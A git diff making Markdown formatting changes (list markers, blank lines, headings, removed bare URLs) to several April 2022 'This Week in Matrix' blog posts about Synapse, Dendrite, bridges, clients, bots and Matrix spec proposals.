([website](https://github.com/matrix-org/synapse/)) @@ -29,24 +29,24 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [dmr](https://matrix.to/#/@dmrobertson:matrix.org) reports > Hello everyone. This week the Synapse team cut [a release candidate for Synapse 1.57](https://github.com/matrix-org/synapse/releases/tag/v1.57.0rc1). It contains: -> +> > * [Continued work on the faster joins project](https://github.com/matrix-org/synapse/pull/12040). > * Additional Module API support for working with [3PID associations](https://github.com/matrix-org/synapse/issues/12302), [account data changes](https://github.com/matrix-org/synapse/issues/12391) and [making users admins](https://github.com/matrix-org/synapse/issues/12341). The first two in particular are vital to to merge the [DINSIC fork of Synapse](https://github.com/matrix-org/synapse-dinsic) into the mainline source tree. > * Experimental, partial support for [MSC3202, Encrypted Appservices](https://github.com/matrix-org/synapse/issues/11881); additional support for threads [via MSC3666](https://github.com/matrix-org/synapse/pull/12436) and [via MSC2675](https://github.com/matrix-org/synapse/issues/12403). > * Plus a number of bugfixes within Synapse and fixes for spec compliance issues. -> +> > As ever, our warmest thanks to to our contributors for sharing their time, effort and expertise with the project. We look forward to seeing your work in the wild, come the 1.57 release proper on Tuesday the 19th of April. -> +> > On develop, we have been powering through a number of different tasks: -> +> > * further work on fast room joins; > * efforts to [better document Synapse's config file](https://github.com/matrix-org/synapse/pull/12368); > * strides towards making Synapse's requests [internally cancellable](https://github.com/matrix-org/synapse/pull/12468); > * [performance improvements for device list updates](https://github.com/matrix-org/synapse/pull/12365); and > * another spurt of work to get complement (finally!) testing Synapse in worker mode. -> +> > Speaking personally, my efforts to [manage Synapse's dependencies](https://github.com/matrix-org/synapse/issues/11537) using poetry are coming to a close. As I write this, I've just submitted [my last (planned!) PR](https://github.com/matrix-org/synapse/pull/12478) for [this project](https://github.com/orgs/matrix-org/projects/54#card-80652082). It's been several months in progress now, and there were many moving parts; some unexpected [bugs in `poetry`](https://github.com/python-poetry/poetry/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc+label%3ABug+author%3ADMRobertson) and [even one in `pip`](https://github.com/pypa/pip/issues/9644); plus a heck of a lot of CI config to change and understand. My sincere thanks to the broader Synapse team for their help in getting the last batch of changes made, reviewed and merged. Once this is all said and done I hope we'll all reap the benefits of -> +> > * a stabler CI pipeline, > * reproducible virtual environments in our docker and debian images, and > * [automated PRs for security updates](https://docs.github.com/en/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). @@ -60,11 +60,12 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) reports > Hey webhook-consuming-people! The hookshot webhook bridge [1.5.0](https://github.com/matrix-org/matrix-hookshot/releases/tag/1.5.0) update has now been released. This release is a bit softer than 1.4.0, containing some smaller features and bugfixes. Thanks to everyone who contributed!. The highlights are: +> > * Allow specifying msgtype for generic webhook transformations. ([#282](https://github.com/matrix-org/matrix-hookshot/issues/282)) > * Add new GitHubRepo config option`newIssue.labels` which allows admins to automatically set labels on new issues. ([#292](https://github.com/matrix-org/matrix-hookshot/issues/292)) > * Allow priority ordering of connection command handling by setting a`priority: number` key in the state event content. ([#293](https://github.com/matrix-org/matrix-hookshot/issues/293)) > * Support GitLab`push` webhook events ([#306](https://github.com/matrix-org/matrix-hookshot/issues/306)) -> +> > The [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) playbooks have also been updated to be 1.5.0 compatible :) ### matrix-appservice-kakaotalk ([website](https://src.miscworks.net/fair/matrix-appservice-kakaotalk/)) @@ -74,31 +75,33 @@ A Matrix-KakaoTalk puppeting bridge. [Fair](https://matrix.to/#/@fair:miscworks.net) reports: > A Matrix-KakaoTalk puppeting bridge. -> +> > This week brings many new features: +> > * KT<-> Matrix message deletion/redaction -> - Note that KT doesn't allow deleting a message if it's too old, so Matrix->KT redactions will fail for old messages. +> * Note that KT doesn't allow deleting a message if it's too old, so Matrix->KT redactions will fail for old messages. > * KT->Matrix user name/avatar live updates -> - As opposed to only being updated on backfill / manual sync +> * As opposed to only being updated on backfill / manual sync > * KT<->Matrix read receipts -> - Caveat: KT->Matrix read receipts are only updated live, not on backfill / manual sync +> * Caveat: KT->Matrix read receipts are only updated live, not on backfill / manual sync > * KT->Matrix member join/leave -> - Only joins were tested so far, but leaves should work too +> * Only joins were tested so far, but leaves should work too > * KT<->Matrix admin status / power levels > * KT->Matrix channel name, description, and cover photo > * General stability & usability improvements > * systemd setup instructions -> +> > I've also launched an instance of the bridge & opened a public portal room for testing purposes: -> * Matrix side: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) -> * KakaoTalk side: https://open.kakao.com/o/gjGQFuae -> +> +> * Matrix side: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) +> * KakaoTalk side: +> > Logging in to my bridge instance is restricted, but Matrix users can still join the room thanks to the magic of relaying! -> +> > At this point, I'd say the bridge is now fairly usable. Please try self-hosting if interested! -> +> > Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> Issue page: ## Dept of Clients 📱 @@ -113,21 +116,21 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > After a long and arduous journey, LorenDB's dbus interface for Nheko got finally merged. Currently this allows you to list rooms as well as switch between them. In the future we might add simple messaging support, so that you can automatically send messages into specific rooms using scripts. The API is disabled by default, since it is not authenticated. Enable it at your own risk! -> +> > Another long standing PR, that finally got merged, was MTRNord (they/them)'s support for pretty power level formatting. Nheko can now tell you what changed in a power level instead of just telling you that it changed. This should make them much more accessible to users, that don't like looking at the raw event source all the time (weird, eh?). -> +> > The image viewer should also be more reliable now and notification counts should be correct after a restart. -> +> > We have also been playing around with qt6 support. At this point we have a working Qt6 branch, with a few functional regressions: -> +> > * No voip (gstreamer has no Qt6 support yet) > * No drop shadows on buttons > * No switchable color schemes -> +> > So far Qt6 looks pretty great and seems to fix a lot of the minor annoyances. -> +> > We are also still looking for some student or interested individuum to take part in the Google Summer of Code and improve the call support in Nheko! Deadline is drawing close, so if you intend to apply, better work on your proposal quickly! If you need any feedback for your proposal, feel free to DM me and ask me to review it/questions. I'm looking forward to someone applying! <3 -> +> > Anyway, merry christmas everyone or whatever you are celebrating this weekend! ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -136,7 +139,7 @@ Secure and independent communication, connected via Matrix. Come talk with us in [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces -> * Threads Beta is live, find it in Labs! +> * Threads Beta is live, find it in Labs! > * As always, check it out and let us know what you think. > * We’re aligning on a style guide and a new module system (links will be shared once both are finalised) > * Added our first Cypress test - this will improve how we create and run e2e (end to end) tests. The tests will continue to be run by CI. @@ -159,7 +162,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal [kittykat](https://matrix.to/#/@kittykat:matrix.org) says -> * Element 1.4.11 is available on the PlayStore and on F-Droid. Release notes: [https://github.com/vector-im/element-android/releases](https://github.com/vector-im/element-android/releases) +> * Element 1.4.11 is available on the PlayStore and on F-Droid. Release notes: [https://github.com/vector-im/element-android/releases](https://github.com/vector-im/element-android/releases) > * We may experience some delays in shipping the app through the Android PlayStore as we are in discussions about whether not decrypted messages should be reportable > * Cleanup to the SDK API has landed on develop - this will help with generating API documentation and migrating to the Rust SDK > * [Roadmap for migration to the Rust SDK](https://github.com/vector-im/element-android/projects/9) @@ -171,14 +174,14 @@ Everything related to Element but not strictly bound to a client [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces > **Threaded Messaging** -> -> * Exciting news this week; the Threads Beta is live on all platforms! If you haven’t seen Threads yet, head to Settings > Labs and check it out. +> +> * Exciting news this week; the Threads Beta is live on all platforms! If you haven’t seen Threads yet, head to Settings > Labs and check it out. > * Please note; If your homeserver doesn’t yet support threads functionality you may not see the beta, or your experience will be degraded. If this applies to you, you’ll see a warning message before you activate Threads. > * The team is continuing to squash bugs and improve performance, we’ve also started working on the next improvements… > * Notifications and badges are top of mind for us next. We need to ensure accuracy of badge counters and consistency between platforms (if you use more than one). We’re looking at this now so keep your eyes peeled for our upcoming MSCs. -> +> > **Community testing sessions** -> +> > * We are restarting our testing sessions! Join [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to take part > * We are trying out a new asynchronous format with office hours for discussion to enable more people to be involved @@ -199,7 +202,7 @@ A set of Rust library crates for working with the Matrix protocol. Ruma’s appr [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) says > Over the last two weeks, we have been busy working towards the 0.6.0 crates.io release of Ruma. If things go to plan, it should be published in the coming weeks (but no promises). That means mostly finishing some large refactorings, but we also got some bug fixes in, as well as a number of convenience functions for working with certain events: -> +> > * [Add RoomPowerLevelsEvent::power_levels](https://github.com/ruma/ruma/pull/1065) > * [Add convenience methods](https://github.com/ruma/ruma/pull/1068) > * [Add transaction_id accessors](https://github.com/ruma/ruma/pull/1069) @@ -212,19 +215,21 @@ A set of Rust library crates for working with the Matrix protocol. Ruma’s appr [Oleg](https://matrix.to/#/@oleg:fiksel.info) reports > HASSkbot can be used to control an action in Home-Assistant via Matrix reactions. -> +> > It's an [Opsdroid](https://opsdroid.dev/) bot, which reacts to a home-assistant entity state change (like person leaving a zone) and asks for confirmation in Matrix if it should run additional home-assistant automation. > Matrix reactions are used for confirming or canceling an action. + ![](/blog/img/JxJtnmpHJUXSCxSKFfLLSDXS.png) + ![](/blog/img/SlPxDLihRlTSJemSGTBgTffE.png) ## Dept of Bots 🤖 [Arya K](https://matrix.to/#/@arya:envs.net) reports -> [Merseklo](https://codeberg.org/aryak/merseklo) is now out of beta +> [Merseklo](https://codeberg.org/aryak/merseklo) is now out of beta > it is a moderation bot for matrix written in pure bash with the only deps being jq and curl ### Honoroit ([website](https://gitlab.com/etke.cc/honoroit)) @@ -234,7 +239,7 @@ A Matrix helpdesk bot [Aine](https://matrix.to/#/@aine:etke.cc) reports > benpa is back in town and I can't keep silence: here is a small update on Honoroit - v0.9.6 comes with "stable spaces" support that will work with new versions of element (yes, even on Element Android from F-Droid). -> +> > Go check the [source code](https://gitlab.com/etke.cc/honoroit) and say hi in the [#honoroit:etke.cc](https://matrix.to/#/#honoroit:etke.cc) ## Dept of Events and Talks 🗣️ @@ -243,15 +248,15 @@ A Matrix helpdesk bot [cel](https://matrix.to/#/@cel:fosdem.org) reports -> DWeb Camp 2022 website and registration launched: https://dwebcamp.org/ -> -> * August 22-24 BUILD; August 24-28 CAMP; Aug 28-29 TAKE DOWN. +> DWeb Camp 2022 website and registration launched: +> +> * August 22-24 BUILD; August 24-28 CAMP; Aug 28-29 TAKE DOWN. > * Camp Navarro, CA, USA -> * Announcement: https://matrix.to/#/!WBhcGXTDMlzyTPWoJv:matrix.org/$164991727237835sdywy:matrix.org -> * Volunteer: https://dwebcamp.org/participate/ -> * Apply for fellowship: https://dwebcamp.org/fellowships/ +> * Announcement: +> * Volunteer: +> * Apply for fellowship: > * Sponsor: [PDF](https://ia801505.us.archive.org/12/items/dweb-camp-2022-sponsorship-opportunities/DWeb%20Camp%202022%20Sponsorship%20Opportunities.pdf) -> +> > DWeb Camp is a gathering hosted by Internet Archive and volunteers dedicated to Decentralized/Distributed web projects. Previously it happened in 2019, and Matrix had some [presence](https://dwebcamp2019.sched.com/event/RPPx/orientation-communicate-through-matrix) there. > Maybe people from Matrix projects and/or Matrix.org will be there this year? diff --git a/content/blog/2022/04/2022-04-22-this-week-in-matrix-2022-04-22.md b/content/blog/2022/04/2022-04-22-this-week-in-matrix-2022-04-22.md index fc304658d..e8411ad48 100644 --- a/content/blog/2022/04/2022-04-22-this-week-in-matrix-2022-04-22.md +++ b/content/blog/2022/04/2022-04-22-this-week-in-matrix-2022-04-22.md @@ -63,6 +63,7 @@ Sailtrix is a matrix client for SailfishOS [HengYeDev](https://matrix.to/#/@hengyedev:mozilla.org) says > Summary of development this week +> > * Sailtrix is fixed on Sailfish 4.4, which added sandboxing to all apps > * Sorting is fixed in the favorites tab > * The create room dialog is fixed @@ -77,12 +78,14 @@ Everything related to Element but not strictly bound to a client [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces > **Location sharing** -> * As a follow on from our previous launches, the team is building “live location sharing”. This will allow you to automatically share where you are in the world with others for a period you choose (15 minutes, 1 hour, or 8 hours), instead of sending a single static location. +> +> * As a follow on from our previous launches, the team is building “live location sharing”. This will allow you to automatically share where you are in the world with others for a period you choose (15 minutes, 1 hour, or 8 hours), instead of sending a single static location. > > **Community testing** -> * We ran our first async community testing session this week. Thank you all who joined in! We found 13 issues so far, which is good going. -> * We have some new features landing for the search experience on Web, join us for testing from Thursday! -> * You can join us at [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to find out more! +> +> * We ran our first async community testing session this week. Thank you all who joined in! We found 13 issues so far, which is good going. +> * We have some new features landing for the search experience on Web, join us for testing from Thursday! +> * You can join us at [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to find out more! ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -91,10 +94,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) says > * Threads is in Beta! The team is hard at work smashing bugs and improving notifications so that we can remove the beta label and get everybody access to our new feature! -> - If you’re using Threads, don’t forget to give us your feedback. +> * If you’re using Threads, don’t forget to give us your feedback. > * This week the team discussed how our Web product looks and feels to new users. While we use our own products all the time, it can be good to take a step back and ensure that our product decisions benefit all users, including the newbies. Watch this space for more info in the coming weeks as we continue to trial things that we hope will make onboarding to Element easier. > * In labs (you can enable labs in settings on develop.element.io or on Nightly) -> - Video rooms are coming together nicely, with the addition of lobby screens and room list stickiness to wrap up the design implementation +> * Video rooms are coming together nicely, with the addition of lobby screens and room list stickiness to wrap up the design implementation ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -103,7 +106,7 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Manu](https://matrix.to/#/@Manu:matrix.org) announces > * The newest version of the app (1.8.13) is ready! In this release we’ve made a bunch of improvements and bug fixes, check it out [here](https://github.com/vector-im/element-ios/releases/tag/v1.8.13). -> * Our favourites include: Force touching room previews no longer update your read receipts, there’s a congratulations screen for new users when creating an account, and we’ve reduced the number of home page reloads. +> * Our favourites include: Force touching room previews no longer update your read receipts, there’s a congratulations screen for new users when creating an account, and we’ve reduced the number of home page reloads. > * Also new in product are [presence indicators](https://github.com/vector-im/element-ios/pull/5972)! From your home page or DMs you’ll be able to see if a user is present or away. Note; this is only supported if your homeserver has it enabled. > * Upcoming; We’re working on adding ‘mention pills’ when tagging users in a room. > * Please note; We’ll soon be removing support for iOS 12 and iOS 13 @@ -131,6 +134,7 @@ A Social Annotation Tool Powered by Matrix > 2. An audio viewer, complete with audio annotation, so that you can annotate temporal segments of an audio recording > > I'm especially excited about the latter - being able to discuss audio recordings will be a great teaching tool, and I'm hoping it might also be useful for things like people who want to talk about podcasts together (for purposes of editing, or just for fun), and people who want to annotate recordings of public talks of various kinds. The last use case would also be pretty well served by *video* annotation - so that's now rising on the agenda. I've created an MSC, [here](https://github.com/matrix-org/matrix-spec-proposals/pull/3775) where I'll be filling in the details of a proposed format for interoperable audiovisual media annotations. As always, if you've got questions, want to follow development progress, or just want to talk about the future of social annotation on Matrix, come join us at [#opentower:matrix.org](https://matrix.to/#/#opentower:matrix.org). +> > ![](/blog/img/UOKqDpqnzwJYNOeiRTBwDCTp.png) {{ youtube_player(video_id="EfiYYmyz88U") }} @@ -145,8 +149,10 @@ A KRunner plugin to list joined rooms and possibly other things from nheko. > Hopefully a few people find this handy, and remember that if you don't use KDE, nheko still has a handy D-Bus API that you can use to write integrations with other software. > > +> > ![](/blog/img/lBOTgQRkJTKXdSVatGYRoIWo.png) > +> > ![](/blog/img/yzTfbscuSptPKLKXCpRAUweb.png) ## Dept of SDKs and Frameworks 🧰 @@ -191,7 +197,7 @@ Matrix SDK written in pure Dart. [Pacman99](https://matrix.to/#/@pachumicchu:myrdd.info) announces > I've created a NixOS module, nix-matrix-appservices, that can simplify the bootstrap and maintenance of matrix appservices on nixos. With it, appservices can be spun up easily with registration and tokens handled by the module. Most mautrix and mx-puppet bridges have been tested to work and they can be setup in a couple lines of nix code. There are plenty of options you can make use of to configure more complex appservices. -> You can find the the code, matrix room(gitlab badge), and usage information here: https://gitlab.com/coffeetables/nix-matrix-appservices +> You can find the the code, matrix room(gitlab badge), and usage information here: ### Synatainer ([website](https://gitlab.com/mb-saces/synatainer)) @@ -202,16 +208,17 @@ Synapse Maintenance Container – Docker container with tools for synapse & post > Synatainer v0.4.0 > > New since v0.3.x -> - autocompressor have only one setting -> - add a golang tool `stui` - synatainer terminal ui -> - replace the vacuum shell script with stui +> +> * autocompressor have only one setting +> * add a golang tool `stui` - synatainer terminal ui +> * replace the vacuum shell script with stui > > `stui` is a typical golang binary, it's also available as stand alone version from the [release page](https://gitlab.com/mb-saces/synatainer/-/releases) > > For now it can only do a full vacuum and show some rugged formatted database info > > [docker run -it --rm registry.gitlab.com/mb-saces/synatainer:latest] stui vacuum-db --help -> [docker run -it --rm registry.gitlab.com/mb-saces/synatainer:latest] stui db-info +> [docker run -it --rm registry.gitlab.com/mb-saces/synatainer:latest] stui db-info > > The doc have a lot of space for improvements… > @@ -220,24 +227,25 @@ Synapse Maintenance Container – Docker container with tools for synapse & post > Start the container without command and let do its magic :) > > What it does by default: +> > * daily: -> - purge all rooms without local members -> - run the state autocompressor (500/100) +> * purge all rooms without local members +> * run the state autocompressor (500/100) > * weekly: -> - delete old remote media (>90 days) -> - delete old message history from public joinable rooms (>180 days) +> * delete old remote media (>90 days) +> * delete old message history from public joinable rooms (>180 days) > * monthly: -> - vacuum the database +> * vacuum the database > -> Source: https://gitlab.com/mb-saces/synatainer +> Source: > > Room: [#synatainer:c-base.org](https://matrix.to/#/#synatainer:c-base.org) > -> Compose example: https://gitlab.com/mb-saces/synatainer/-/snippets/2264828 +> Compose example: > > *** > -> If you are looking for a docker container with just the auto compressor for linux amd64/arm64 in it, her you go: https://gitlab.com/mb-saces/rust-synapse-compress-state +> If you are looking for a docker container with just the auto compressor for linux amd64/arm64 in it, her you go: ### matrix-docker-ansible-deploy ([website](https://github.com/spantaleev/matrix-docker-ansible-deploy)) @@ -266,6 +274,7 @@ A privacy focused social media based on MATRIX > just did release V.1.5.5 today, this is the last update since a few months ago. > > Some of the changes are: +> > * feat: compliance to the latest version of [MSC3639: Matrix for the social media use case](https://github.com/matrix-org/matrix-spec-proposals/pull/3639) > * feat: added images support for posts. You can now send multiple images in a post and display them in a gallery view. > * feat: New emoji picker, you can now select and react to message in one continuous press. @@ -278,6 +287,7 @@ A privacy focused social media based on MATRIX > * feat: various UI enhancements. > > Concerning the messaging feature: +> > * feat: Initial poll support > * feat: read only spaces support > * feat: room list search box @@ -294,10 +304,13 @@ A privacy focused social media based on MATRIX > > PS: You can also help us to design the underlying MSC, especially, we need some opinions on how to name things (the profile rooms) [the room](https://matrix.to/#/#social-matrix:carnot.cc) !! > +> > ![](/blog/img/neMAizSmKgxhdadsozuEIbOK.png) > +> > ![](/blog/img/AgMZwhxQaXLPKfnMbSBNINpL.png) > +> > ![](/blog/img/ogMbRbyQOWyzYlTFtjDllCcI.png) ## Dept of Ping 🏓 @@ -305,6 +318,7 @@ A privacy focused social media based on MATRIX We know you missed it, here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -321,6 +335,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|quyo.de|1494| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/04/2022-04-29-this-week-in-matrix-2022-04-29.md b/content/blog/2022/04/2022-04-29-this-week-in-matrix-2022-04-29.md index 843044842..7e851af28 100644 --- a/content/blog/2022/04/2022-04-29-this-week-in-matrix-2022-04-29.md +++ b/content/blog/2022/04/2022-04-29-this-week-in-matrix-2022-04-29.md @@ -18,38 +18,42 @@ category = ["This Week in Matrix"] > Taking my GNOME Foundation hat on for this news: the GNOME Foundation is adopting Matrix! Is this TWIM worthy? It probably wouldn't have been if it wasn't for all the great work of Gwmngilfen! We published a joint blog post (though in all fairness Greg did all the heavy lifting) to explain how the decision was taken, and transparently share the data we had at hand. > -> In practice that means after _years_ of Matrix being around in the GNOME community and being the most popular platform, it's finally moving out of the grey zone of "everyone is using it but some older contributors really like their current set up, so it exists but it's not officially our primary platform". For now we're keeping both our Matrix instance and the bridge to GIMPnet (the IRC network GNOME people have been using for years). The major change is that IRC is now our legacy, so if tradeoffs have to be made Matrix will keep the premium experience. +> In practice that means after *years* of Matrix being around in the GNOME community and being the most popular platform, it's finally moving out of the grey zone of "everyone is using it but some older contributors really like their current set up, so it exists but it's not officially our primary platform". For now we're keeping both our Matrix instance and the bridge to GIMPnet (the IRC network GNOME people have been using for years). The major change is that IRC is now our legacy, so if tradeoffs have to be made Matrix will keep the premium experience. > > Again, huge shout out to Gwmngilfen who gave meaning to the data I handed to him. > -> https://blog.ergaster.org/post/20220425-adopting-matrix/ +> ## Dept of Spec 📜 [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> # Spec +> ### Spec > -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > -> ## MSC Status +> #### MSC Status > > **New MSCs:** +> > * [MSC3784: Using room type of `m.policy` for policy rooms](https://github.com/matrix-org/matrix-spec-proposals/pull/3784) > * [MSC3783: Fixed base64 for SAS verification](https://github.com/matrix-org/matrix-spec-proposals/pull/3783) > > **MSCs with Proposed Final Comment Period:** +> > * [MSC3244: Room version capabilities](https://github.com/matrix-org/matrix-spec-proposals/pull/3244) > > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* > > **Merged MSCs:** +> > * *No MSCs were merged this week.* > > -> ## Spec Updates +> #### Spec Updates > > Hello again everyone! Your regularly-scheduled TWIM Spec update has returned, along with graph-based media! > @@ -57,12 +61,13 @@ category = ["This Week in Matrix"] > > A copy of the bot is currently running under `@mscbot:matrix.org`, so feel free to invite it to a room if you'd find that useful! > -> ## Random MSC of the Week +> #### Random MSC of the Week > > The random MSC of the week is... [MSC3216: Synchronized access control for Spaces](https://github.com/matrix-org/matrix-spec-proposals/pull/3216)! > > This MSC serves as an alternative to [MSC2962](https://github.com/matrix-org/matrix-spec-proposals/pull/2962), and essentially allows for user permissions to be simultaneously enforced across a set of rooms in a Space. This would allow functionality to users of platforms like Discord, where a user can be a moderator in a guild, and thus in all of that guild's channels. > +> > ![](/blog/img/2022-04-29-spec.png) ## Dept of Servers 🏢 @@ -75,8 +80,8 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t > A few operational issues have taken up quite a bit of the team's time this week, but we've still found time to cut a couple of [release candidates of v1.58](https://github.com/matrix-org/synapse/releases/tag/v1.58.0rc2). Highlights include: > -> * Locked python dependencies for our Docker images and Debian packages, thanks to David's [poetry work](https://github.com/orgs/matrix-org/projects/54). -> * Some big performance fixes, including [an optimisation to login](https://github.com/matrix-org/synapse/issues/12365) from Erik and one to [message backfill](https://github.com/matrix-org/synapse/issues/12522) from yours truly. +> * Locked python dependencies for our Docker images and Debian packages, thanks to David's [poetry work](https://github.com/orgs/matrix-org/projects/54). +> * Some big performance fixes, including [an optimisation to login](https://github.com/matrix-org/synapse/issues/12365) from Erik and one to [message backfill](https://github.com/matrix-org/synapse/issues/12522) from yours truly. > > We're also excited to see quite a few contributions from outside the core maintenance team: thanks to [Dirk](https://github.com/dklimpel), Beeper, Famedly and everyone else in the community who has made pull requests! > @@ -90,32 +95,32 @@ Second generation Matrix homeserver > This week we announced [Dendrite 0.8.2](https://github.com/matrix-org/dendrite/releases/tag/v0.8.2) with a bunch of usability fixes. As always, join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for more discussion and updates. > -> #### Features -> -> * Lazy-loading has been added to the `/sync` endpoint, which should speed up syncs considerably -> * Filtering has been added to the `/messages` endpoint -> * The room summary now contains "heroes" (up to 5 users in the room) for clients to display when no room name is set -> * The existing lazy-loading caches will now be used by `/messages` and `/context` so that member events will not be sent to clients more times than necessary -> * The account data stream now uses the provided filters -> * The built-in NATS Server has been updated to version 2.8.0 -> * The `/state` and `/state_ids` endpoints will now return `M_NOT_FOUND` for rejected events -> * Repeated calls to the `/redact` endpoint will now be idempotent when a transaction ID is given -> * Dendrite should now be able to run as a Windows service under Service Control Manager -> -> #### Fixes -> -> * Fictitious presence updates will no longer be created for users which have not sent us presence updates, which should speed up complete syncs considerably -> * Uploading cross-signing device signatures should now be more reliable, fixing a number of bugs with cross-signing -> * All account data should now be sent properly on a complete sync, which should eliminate problems with client settings or key backups appearing to be missing -> * Account data will now be limited correctly on incremental syncs, returning the stream position of the most recent update rather than the latest stream position -> * Account data will not be sent for parted rooms, which should reduce the number of left/forgotten rooms reappearing in clients as empty rooms -> * The TURN username hash has been fixed which should help to resolve some problems when using TURN for voice calls (contributed by [fcwoknhenuxdfiyv](https://github.com/fcwoknhenuxdfiyv)) -> * Push rules can no longer be modified using the account data endpoints -> * Querying account availability should now work properly in polylith deployments -> * A number of bugs with sync filters have been fixed -> * A default sync filter will now be used if the request contains a filter ID that does not exist -> * The `pushkey_ts` field is now using seconds instead of milliseconds -> * A race condition when gracefully shutting down has been fixed, so JetStream should no longer cause the process to exit before other Dendrite components are finished shutting down +> #### Features +> +> * Lazy-loading has been added to the `/sync` endpoint, which should speed up syncs considerably +> * Filtering has been added to the `/messages` endpoint +> * The room summary now contains "heroes" (up to 5 users in the room) for clients to display when no room name is set +> * The existing lazy-loading caches will now be used by `/messages` and `/context` so that member events will not be sent to clients more times than necessary +> * The account data stream now uses the provided filters +> * The built-in NATS Server has been updated to version 2.8.0 +> * The `/state` and `/state_ids` endpoints will now return `M_NOT_FOUND` for rejected events +> * Repeated calls to the `/redact` endpoint will now be idempotent when a transaction ID is given +> * Dendrite should now be able to run as a Windows service under Service Control Manager +> +> #### Fixes +> +> * Fictitious presence updates will no longer be created for users which have not sent us presence updates, which should speed up complete syncs considerably +> * Uploading cross-signing device signatures should now be more reliable, fixing a number of bugs with cross-signing +> * All account data should now be sent properly on a complete sync, which should eliminate problems with client settings or key backups appearing to be missing +> * Account data will now be limited correctly on incremental syncs, returning the stream position of the most recent update rather than the latest stream position +> * Account data will not be sent for parted rooms, which should reduce the number of left/forgotten rooms reappearing in clients as empty rooms +> * The TURN username hash has been fixed which should help to resolve some problems when using TURN for voice calls (contributed by [fcwoknhenuxdfiyv](https://github.com/fcwoknhenuxdfiyv)) +> * Push rules can no longer be modified using the account data endpoints +> * Querying account availability should now work properly in polylith deployments +> * A number of bugs with sync filters have been fixed +> * A default sync filter will now be used if the request contains a filter ID that does not exist +> * The `pushkey_ts` field is now using seconds instead of milliseconds +> * A race condition when gracefully shutting down has been fixed, so JetStream should no longer cause the process to exit before other Dendrite components are finished shutting down ## Dept of Bridges 🌉 @@ -128,22 +133,23 @@ A Matrix-KakaoTalk puppeting bridge. > The bridge should finally be at "Good Enough" status--and to celebrate, I've bumped the version to `0.2.0` 🥳 > > Features & fixes include: +> > * KT->Matrix file messages > * Matrix->KT room leaves -> - To leave a KT channel from Matrix, issue the `!kt leave` command in a portal room. +> * To leave a KT channel from Matrix, issue the `!kt leave` command in a portal room. > * Ability to name the virtual "device" for the KakaoTalk login session created by the bridge -> - This makes it easier to distinguish between multiple login sessions of the bridge +> * This makes it easier to distinguish between multiple login sessions of the bridge > * Improvements to KT->Matrix joins, kicks, and admin status > * Many significant stability & correctness improvements > * Docker support -> - This is currently in the `testing` branch until I can confirm that it works properly +> * This is currently in the `testing` branch until I can confirm that it works properly > -> I've also opened a PR to showcase this bridge on https://matrix.org/bridges/ 😃 +> I've also opened a PR to showcase this bridge on 😃 > > --- > Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> Testing room: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) / https://open.kakao.com/o/gjGQFuae -> Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> Testing room: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) / +> Issue page: ## Dept of Clients 📱 @@ -157,7 +163,7 @@ Everything related to Element but not strictly bound to a client > > * The Threads Beta is live! Turn it on in Labs > -> - Let us know your feedback as we continue to work on this feature. +> * Let us know your feedback as we continue to work on this feature. > * The next step for Threads is improving our notifications and push rules on threaded messages. We’ve drafted some MSCs and are excited to move them forwards. > > **Community testing** @@ -165,9 +171,9 @@ Everything related to Element but not strictly bound to a client > * Thank you all who joined the async community testing sessions. > * Next week, we are planning to test: > -> - Improvements to 